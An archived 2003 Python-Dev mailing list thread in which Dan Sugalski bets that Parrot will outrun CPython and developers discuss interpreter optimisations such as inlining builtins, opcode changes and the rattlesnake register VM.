<3E3E4BE7.7000303@tismer.com> Message-ID: <200302031815.h13IFk920861@odiug.zope.com> > At 12:00 PM +0100 2/3/03, Christian Tismer wrote: > >Dan Sugalski wrote: > >... > > > >>If you want to bet, I'll put up $10 and a round of beer (or other > >>beverage of your choice) at OSCON 2004 for all the python labs & > >>zope folks that says parrot beats the current python interpreter > >>when running all the python benchmark suite programs (that don't > >>depend on extensions written in C, since we're shooting for pure > >>engine performance) from bytecode. Game? > > > >Do you mean the current Python interpreter of 2004? > >That could be quite a different beast... > > While it could be, that's unlikely. Still, that'd be part of the > ground rules we'd work out if someone takes me up on the challenge. I'm in. Given how low you set your stakes, I don't think you're very confident, so I'd like to call your bluff. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From dan@sidhe.org Mon Feb 3 18:35:09 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 13:35:09 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302031815.h13IFk920861@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> Message-ID: At 1:15 PM -0500 2/3/03, Guido van Rossum wrote: > > At 12:00 PM +0100 2/3/03, Christian Tismer wrote: >> >Dan Sugalski wrote: >> >... >> > >> >>If you want to bet, I'll put up $10 and a round of beer (or other >> >>beverage of your choice) at OSCON 2004 for all the python labs & >> >>zope folks that says parrot beats the current python interpreter >> >>when running all the python benchmark suite programs (that don't >> >>depend on extensions written in C, since we're shooting for pure >> >>engine performance) from bytecode. Game? >> > >> >Do you mean the current Python interpreter of 2004? >> >That could be quite a different beast... >> >> While it could be, that's unlikely. Still, that'd be part of the >> ground rules we'd work out if someone takes me up on the challenge. > >I'm in. Given how low you set your stakes, I don't think you're very >confident, so I'd like to call your bluff. :-) The stakes are low because I have to pony up the cash if I lose--my budget's limited, and regardless of how confident I am of winning, if I put up a lot, my wife will kill me dead for making the challenge and, well I think I'd rather avoid that. :) Shall we, then, arrange the details at OSCON 2003, if you'll be there? I expect we can twist the conference organizer's arm into letting us make a tiny announcement near the end... -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From guido@python.org Mon Feb 3 18:41:46 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 13:41:46 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 13:35:09 EST." References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> Message-ID: <200302031841.h13Ifkd20986@odiug.zope.com> > The stakes are low because I have to pony up the cash if I lose--my > budget's limited, and regardless of how confident I am of winning, if > I put up a lot, my wife will kill me dead for making the challenge > and, well I think I'd rather avoid that. :) Especially as you'd automatically lose if your wife were to kill you. :) > Shall we, then, arrange the details at OSCON 2003, if you'll be > there? I expect we can twist the conference organizer's arm into > letting us make a tiny announcement near the end... Sure. We should do this as a lightning talk in the Python lightning track. --Guido van Rossum (home page: http://www.python.org/~guido/) From munch@acm.org Mon Feb 3 18:41:27 2003 From: munch@acm.org (john paulson) Date: Mon, 03 Feb 2003 10:41:27 -0800 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com> Message-ID: In the case of with var_1, ... var_N = expr_1, ... expr_N: suite What happens if one of the expr_k throws an exception? Have any of the var_k been __enter__()'ed and consequently require an __exit__()? Also, I imagine this form does not imply an ordering of binding (it acts like a (let ((var_1 expr_1) ... (var_N exprN)) ...) form in scheme). In the interests of KISS, (with a soupcon of YAGNI), the single variable form might be preferable. -- From dan@sidhe.org Mon Feb 3 18:46:36 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 13:46:36 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302031841.h13Ifkd20986@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <200302031841.h13Ifkd20986@odiug.zope.com> Message-ID: At 1:41 PM -0500 2/3/03, Guido van Rossum wrote: > > The stakes are low because I have to pony up the cash if I lose--my >> budget's limited, and regardless of how confident I am of winning, if >> I put up a lot, my wife will kill me dead for making the challenge >> and, well I think I'd rather avoid that. :) > >Especially as you'd automatically lose if your wife were to kill you. :) Well, we might still beat you, though I'd *definitely* lose personally. :) > > Shall we, then, arrange the details at OSCON 2003, if you'll be >> there? I expect we can twist the conference organizer's arm into >> letting us make a tiny announcement near the end... > >Sure. We should do this as a lightning talk in the Python lightning >track. Works for me. I doubt we'll need that much time to work things out. OTOH, as conferences love animosity, real or imagined, it wouldn't surprise me if Tim O'Reilly'd be happy to announce this if we can work the details out ahead of time. Fine with me either way... -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From nas@python.ca Mon Feb 3 19:17:11 2003 From: nas@python.ca (Neil Schemenauer) Date: Mon, 3 Feb 2003 11:17:11 -0800 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302031815.h13IFk920861@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> Message-ID: <20030203191711.GA26891@glacier.arctrix.com> Guido van Rossum wrote: > I'm in. Given how low you set your stakes, I don't think you're very > confident, so I'd like to call your bluff. :-) Any opinion on where to spend effort? I was thinking of dusting off the register VM code (aka rattlesnake). OTOH, perhaps the non-local namespace optimizations would give more bang for the buck. Neil From guido@python.org Mon Feb 3 19:18:14 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 14:18:14 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 11:17:11 PST." <20030203191711.GA26891@glacier.arctrix.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> Message-ID: <200302031918.h13JIE721173@odiug.zope.com> > Guido van Rossum wrote: > > I'm in. Given how low you set your stakes, I don't think you're very > > confident, so I'd like to call your bluff. :-) > > Any opinion on where to spend effort? I was thinking of dusting off the > register VM code (aka rattlesnake). OTOH, perhaps the non-local > namespace optimizations would give more bang for the buck. > > Neil I was thinking it might be most effective to have a little conversation with Dan's potential sponsors. But maybe that's because my first name is Guido... ;-) Seriously, I expect Dan to lose without any effort on our part, but if we want to make an effort, I think that there could be some low-hanging fruit in inlining certain builtins (e.g. len, range, xrange) that as far as we know aren't shadowed by globals. Is that what you call non-local namespace optimizations? A new VM design would be a major upheaval, but if we can pull it off it would certainly not be a bad idea. John Aycock and some of his students have a design of a new VM that might be worth looking into. --Guido van Rossum (home page: http://www.python.org/~guido/) From dan@sidhe.org Mon Feb 3 19:29:22 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 14:29:22 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302031918.h13JIE721173@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> Message-ID: At 2:18 PM -0500 2/3/03, Guido van Rossum wrote: >Seriously, I expect Dan to lose without any effort on our part, Really! Well, then, shall we raise the stakes, and add a cream pie (of the loser's choice) at ten paces to the bet? :) -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From skip@pobox.com Mon Feb 3 19:29:34 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 13:29:34 -0600 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> Message-ID: <15934.49950.520256.616214@montanaro.dyndns.org> Neil> Any opinion on where to spend effort? I was thinking of dusting Neil> off the register VM code (aka rattlesnake). OTOH, perhaps the Neil> non-local namespace optimizations would give more bang for the Neil> buck. I'd help play around with rattlesnake. Skip From guido@python.org Mon Feb 3 19:31:04 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 14:31:04 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 14:29:22 EST." References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> Message-ID: <200302031931.h13JV4I21253@odiug.zope.com> > >Seriously, I expect Dan to lose without any effort on our part, > > Really! Well, then, shall we raise the stakes, and add a cream pie > (of the loser's choice) at ten paces to the bet? :) I'd be delighted to deliver it in person. :) --Guido van Rossum (home page: http://www.python.org/~guido/) From dan@sidhe.org Mon Feb 3 19:33:46 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 14:33:46 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302031931.h13JV4I21253@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <200302031931.h13JV4I21253@odiug.zope.com> Message-ID: At 2:31 PM -0500 2/3/03, Guido van Rossum wrote: > > >Seriously, I expect Dan to lose without any effort on our part, >> >> Really! Well, then, shall we raise the stakes, and add a cream pie >> (of the loser's choice) at ten paces to the bet? :) > >I'd be delighted to deliver it in person. :) Absolutely--it'd be no fun otherwise. :) -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From dan@sidhe.org Mon Feb 3 19:38:19 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 14:38:19 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <15934.50373.546850.48771@montanaro.dyndns.org> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <15934.50373.546850.48771@montanaro.dyndns.org> Message-ID: At 1:36 PM -0600 2/3/03, Skip Montanaro wrote: > Dan> Really! Well, then, shall we raise the stakes, and add a cream pie > Dan> (of the loser's choice) at ten paces to the bet? :) > >Having had personal experience with the inverse relationship between geek >quotient and athletic prowess I suspect you might want to make that five >paces. ;-) Nah, that's OK--I'll be practicing my aim before then. :-P -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From guido@python.org Mon Feb 3 19:49:31 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 14:49:31 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 14:38:19 EST." References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <15934.50373.546850.48771@montanaro.dyndns.org> Message-ID: <200302031949.h13JnVW21433@odiug.zope.com> > >Having had personal experience with the inverse relationship between geek > >quotient and athletic prowess I suspect you might want to make that five > >paces. ;-) > > Nah, that's OK--I'll be practicing my aim before then. :-P That was my line. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From neal@metaslash.com Mon Feb 3 20:05:32 2003 From: neal@metaslash.com (Neal Norwitz) Date: Mon, 03 Feb 2003 15:05:32 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> Message-ID: <20030203200532.GM24222@epoch.metaslash.com> On Mon, Feb 03, 2003 at 11:17:11AM -0800, Neil Schemenauer wrote: > Guido van Rossum wrote: > > I'm in. Given how low you set your stakes, I don't think you're very > > confident, so I'd like to call your bluff. :-) > > Any opinion on where to spend effort? I was thinking of dusting off the > register VM code (aka rattlesnake). OTOH, perhaps the non-local > namespace optimizations would give more bang for the buck. As Guido mentioned, inline builtins. I have a real simple patch which does this. ie, LOAD_GLOBAL(name) -> LOAD_CONST(builtin_function). However, there is a problem with the patch: the resulting code can't be marshalled properly. I haven't tried to fix that yet. Right now JUMP_IF_(TRUE, FALSE) keep their computed value on the stack. They are always followed by POP_TOP. If the JUMP_IF_* removed the value, it would be one less trip through eval_frame loop (no POP_TOP). I've got a patch for this which fixes 5 of the 8 cases where JUMP_IF_* are generated. The problem with the remaining 3 cases is that a jump to a jump occurs. By removing the jump to a jump, that should also help performance. I have a crazy idea that removing the switch and making our own jump table in the eval_frame loop could improve performance. But I've never tried this because it's a lot of work. And it could hurt, not help performance. I can mail or post the partial patches if anyone is interested. Neal From bac@OCF.Berkeley.EDU Mon Feb 3 20:16:18 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 3 Feb 2003 12:16:18 -0800 (PST) Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <15934.49950.520256.616214@montanaro.dyndns.org> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <15934.49950.520256.616214@montanaro.dyndns.org> Message-ID: [Skip Montanaro] > I'd help play around with rattlesnake. > Any links on rattlesnake? I tried googling and came up with only a brief mention by Ping and Skip about it. -Brett From esr@thyrsus.com Mon Feb 3 20:25:53 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Mon, 3 Feb 2003 15:25:53 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> Message-ID: <20030203202553.GE5826@thyrsus.com> Dan Sugalski : > Really! Well, then, shall we raise the stakes, and add a cream pie > (of the loser's choice) at ten paces to the bet? :) Oh, *goddess*. I want to emcee this event in the worst way. And I know exactly how to do it -- like a herald reading cartels of defiance at a joust. Gentlemen, you've got yourself a master of ceremonies and a frame of comic patter, if you want it. For this I might even put on a tuxedo... -- Eric S. Raymond From guido@python.org Mon Feb 3 20:37:04 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 15:37:04 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 15:05:32 EST." <20030203200532.GM24222@epoch.metaslash.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> Message-ID: <200302032037.h13Kb4621770@odiug.zope.com> > As Guido mentioned, inline builtins. I have a real simple patch > which does this. ie, LOAD_GLOBAL(name) -> LOAD_CONST(builtin_function). > However, there is a problem with the patch: the resulting code > can't be marshalled properly. I haven't tried to fix that yet. That's because you can't marshal references to built-in function objects. I was thinking of adding appropriate new opcodes for a few builtins that are called a lot, like len. This would be implemented using something like this: case BUILTIN_LEN: { long n; v = POP(); n = PyObject_Size(v); Py_DECREF(v); if (n >= 0) { x = PyInt_FromLong(n); if (x != NULL) { PUSH(x); continue; } } else { err = n; } break; } > Right now JUMP_IF_(TRUE, FALSE) keep their computed value on the > stack. They are always followed by POP_TOP. If the JUMP_IF_* removed > the value, it would be one less trip through eval_frame loop (no > POP_TOP). I've got a patch for this which fixes 5 of the 8 cases > where JUMP_IF_* are generated. The problem with the remaining 3 cases > is that a jump to a jump occurs. By removing the jump to a jump, that > should also help performance. Yes. I think there's also an inefficiency in the bytecode generated for 'not': instead of generating a UNARY_NOT opcode, it could switch the sense of the test (changing JUMP_IF_FALSE into JUMP_IF_TRUE and vice versa). > I have a crazy idea that removing the switch and making our own > jump table in the eval_frame loop could improve performance. > But I've never tried this because it's a lot of work. And it > could hurt, not help performance. The only way to find out is to try it. ;-) --Guido van Rossum (home page: http://www.python.org/~guido/) From dan@sidhe.org Mon Feb 3 20:41:08 2003 From: dan@sidhe.org (Dan Sugalski) Date: Mon, 3 Feb 2003 15:41:08 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203202553.GE5826@thyrsus.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <20030203202553.GE5826@thyrsus.com> Message-ID: At 3:25 PM -0500 2/3/03, Eric S. Raymond wrote: >Dan Sugalski : >> Really! Well, then, shall we raise the stakes, and add a cream pie >> (of the loser's choice) at ten paces to the bet? :) > >Oh, *goddess*. I want to emcee this event in the worst way. And I >know exactly how to do it -- like a herald reading cartels of defiance >at a joust. > >Gentlemen, you've got yourself a master of ceremonies and a frame of >comic patter, if you want it. For this I might even put on a >tuxedo... Argh! The very thought of that is making me want to gouge my eyes out. :) Seriously, this is something we'll have to work out with the conference folks. Wouldn't surprise me if they may have someone in mind, or if not we go with some semi-independent person. (Perhaps some bitter Lisp hacker that hates all of us because everyone's more successful than Lisp... :) -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From skip@pobox.com Mon Feb 3 20:47:33 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 14:47:33 -0600 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <20030203191711.GA26891@glacier.arctrix.com> <15934.49950.520256.616214@montanaro.dyndns.org> Message-ID: <15934.54629.682946.80499@montanaro.dyndns.org> >> I'd help play around with rattlesnake. Brett> Any links on rattlesnake? I tried googling and came up with only Brett> a brief mention by Ping and Skip about it. You just didn't look far enough back. ;-) Rattlesnake was something I started in 1998 (based on 1.5.1 as I recall) to come up with an alternate, register-based virtual machine for Python. The observation that Tim made which got me headed in that direction was that three-register machines are much easier to optimize than stack-based architectures. The plan was to mechanically translate the bytecode for the stack architecture to the bytecode for the register architecture. (I used my peephole optimizer as the basis for that translator. Conversion to the new architecture was thus a rather substantial "peephole" operation.) The result should be relatively easy to optimize (just by eliding many of stack motion, if nothing else). A few of us got a reasonable start on it, but it eventually fizzled. There were a couple things that didn't ever work right, and starting with 1.5.2 the virtual machine started moving faster than I could keep up in the odd spare moment. It sat idle until a little over a year ago when Neil began working on it. To the best of my knowledge, he's never released anything, but whatever he's got laying about is bound to be more current than anything I could point you at. Still, here are some pointers for those interested: * Here's a pointer to a paper about the peephole optimizer: http://www.musi-cal.com/~skip/python/spam7/optimizer.html * Here's the latest stuff I bundled up for Neil in 2001: http://www.musi-cal.com/~skip/python/rattlesnake20010813.tar.gz * Here's the long inactive mailing list: http://groups.yahoo.com/group/rattlesnake * There's a python-dev thread from February 2002: http://mail.python.org/pipermail/python-dev/2002-February/thread.html (search for "rattlesnake"). * Finally, here's a python-dev thread about rattlesnake from 1998: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&threadm=7399hf%24scb%241%40nnrp1.dejanews.com&rnum=1&prev=/groups%3Fq%3Drattlesnake%2Bmore%2Bbite%2Bfor%2Bpython%26hl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8%26selm%3D7399hf%2524scb%25241%2540nnrp1.dejanews.com%26rnum%3D1 Skip From tim.one@comcast.net Mon Feb 3 20:47:44 2003 From: tim.one@comcast.net (Tim Peters) Date: Mon, 03 Feb 2003 15:47:44 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com> Message-ID: [Neil Schemenauer] > Any opinion on where to spend effort? For real life boosts, function/method calls. Making "len" a builtin wouldn't help so much for saving a couple dict lookups as it would for avoiding the call machinery, and for callees coded in Python that's heavy work. From skip@pobox.com Mon Feb 3 20:54:56 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 14:54:56 -0600 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203200532.GM24222@epoch.metaslash.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> Message-ID: <15934.55072.175345.305837@montanaro.dyndns.org> Neal> Right now JUMP_IF_(TRUE, FALSE) keep their computed value on the Neal> stack. They are always followed by POP_TOP. If the JUMP_IF_* Neal> removed the value, it would be one less trip through eval_frame Neal> loop (no POP_TOP). I've got a patch for this which fixes 5 of the Neal> 8 cases where JUMP_IF_* are generated. The problem with the Neal> remaining 3 cases is that a jump to a jump occurs. By removing Neal> the jump to a jump, that should also help performance. See my peephole optimizer reference in an earlier note which (used to) handle such stuff. Perhaps it should be dusted off. Skip From skip@pobox.com Mon Feb 3 19:36:37 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 13:36:37 -0600 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> Message-ID: <15934.50373.546850.48771@montanaro.dyndns.org> Dan> Really! Well, then, shall we raise the stakes, and add a cream pie Dan> (of the loser's choice) at ten paces to the bet? :) Having had personal experience with the inverse relationship between geek quotient and athletic prowess I suspect you might want to make that five paces. ;-) Skip From nas@python.ca Mon Feb 3 21:02:40 2003 From: nas@python.ca (Neil Schemenauer) Date: Mon, 3 Feb 2003 13:02:40 -0800 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302031918.h13JIE721173@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> Message-ID: <20030203210239.GA27481@glacier.arctrix.com> Guido van Rossum wrote: > I think that there could be some low-hanging fruit in inlining certain > builtins (e.g. len, range, xrange) that as far as we know aren't > shadowed by globals. Is that what you call non-local namespace > optimizations? I meant continuing work started by Ping, Jeremy, and you on non-local namespaces (something other than dicts). Tim's suggestion of optimizing function calls sounds like another good one. Neil From skip@pobox.com Mon Feb 3 20:56:56 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 14:56:56 -0600 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032037.h13Kb4621770@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> Message-ID: <15934.55192.159454.820850@montanaro.dyndns.org> Guido> I was thinking of adding appropriate new opcodes for a few Guido> builtins that are called a lot, like len. This would be Guido> implemented using something like this: Guido> case BUILTIN_LEN: ... Would you special case those calls so that, in effect, __builtin__.len couldn't be overridden by a "len" object in the globals or locals? Skip From guido@python.org Mon Feb 3 21:16:13 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 16:16:13 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 14:56:56 CST." <15934.55192.159454.820850@montanaro.dyndns.org> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <20030203200532.GM24222@epoch.metaslash.com> <200302032037.h13Kb4621770@odiug.zope.com> <15934.55192.159454.820850@montanaro.dyndns.org> Message-ID: <200302032116.h13LGDc22113@odiug.zope.com> > Guido> I was thinking of adding appropriate new opcodes for a few > Guido> builtins that are called a lot, like len. This would be > Guido> implemented using something like this: > > Guido> case BUILTIN_LEN: > ... > > Would you special case those calls so that, in effect, __builtin__.len > couldn't be overridden by a "len" object in the globals or locals? No, I would only generate a BUILTIN_LEN opcode if there was no local or global variable 'len'. A few days ago I proposed a restriction on assigning to an attribute of a module that stores a new name in that module that is the same as the name of a built-in; that was meant to outlaw people doing ugly stuff like import random random.len = lambda x: len(x)-1 print random.choice([1,2,3]) and expecting to affect the implementation of choice(). I don't think anybody would do this on purpose (or even by accident), but the possibility exists, and I'd prefer to live without lying awake about that case. (We could make random.__dict__ read-only, like the new-style class __dict__, if you worry about other ways of stuffing unexpected variables inside it. We could also avoid the optimization if there's an exec statement anywhere in a module, since one could exec code that says import __builtin__ global len len = lambda x: __builtin__.len(x)-1 or one could find another way of outlawing such abominations (including simply declaring that one shouldn't do that). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Mon Feb 3 21:17:57 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 16:17:57 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Your message of "Mon, 03 Feb 2003 13:02:40 PST." <20030203210239.GA27481@glacier.arctrix.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <20030203210239.GA27481@glacier.arctrix.com> Message-ID: <200302032117.h13LHvF22127@odiug.zope.com> > I meant continuing work started by Ping, Jeremy, and you on non-local > namespaces (something other than dicts). Tim's suggestion of optimizing > function calls sounds like another good one. Ah, you mean these: - PEP 266 Optimizing Global Variable/Attribute Access Montanaro PEP 267 Optimized Access to Module Namespaces Hylton PEP 280 Optimizing access to globals van Rossum Yes, that would be a good idea too. And I suggest that we analyze pystone (or whatever benchmark we decide to use). --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Mon Feb 3 21:28:21 2003 From: skip@pobox.com (Skip Montanaro) Date: Mon, 3 Feb 2003 15:28:21 -0600 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <200302032117.h13LHvF22127@odiug.zope.com> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> <200302031918.h13JIE721173@odiug.zope.com> <20030203210239.GA27481@glacier.arctrix.com> <200302032117.h13LHvF22127@odiug.zope.com> Message-ID: 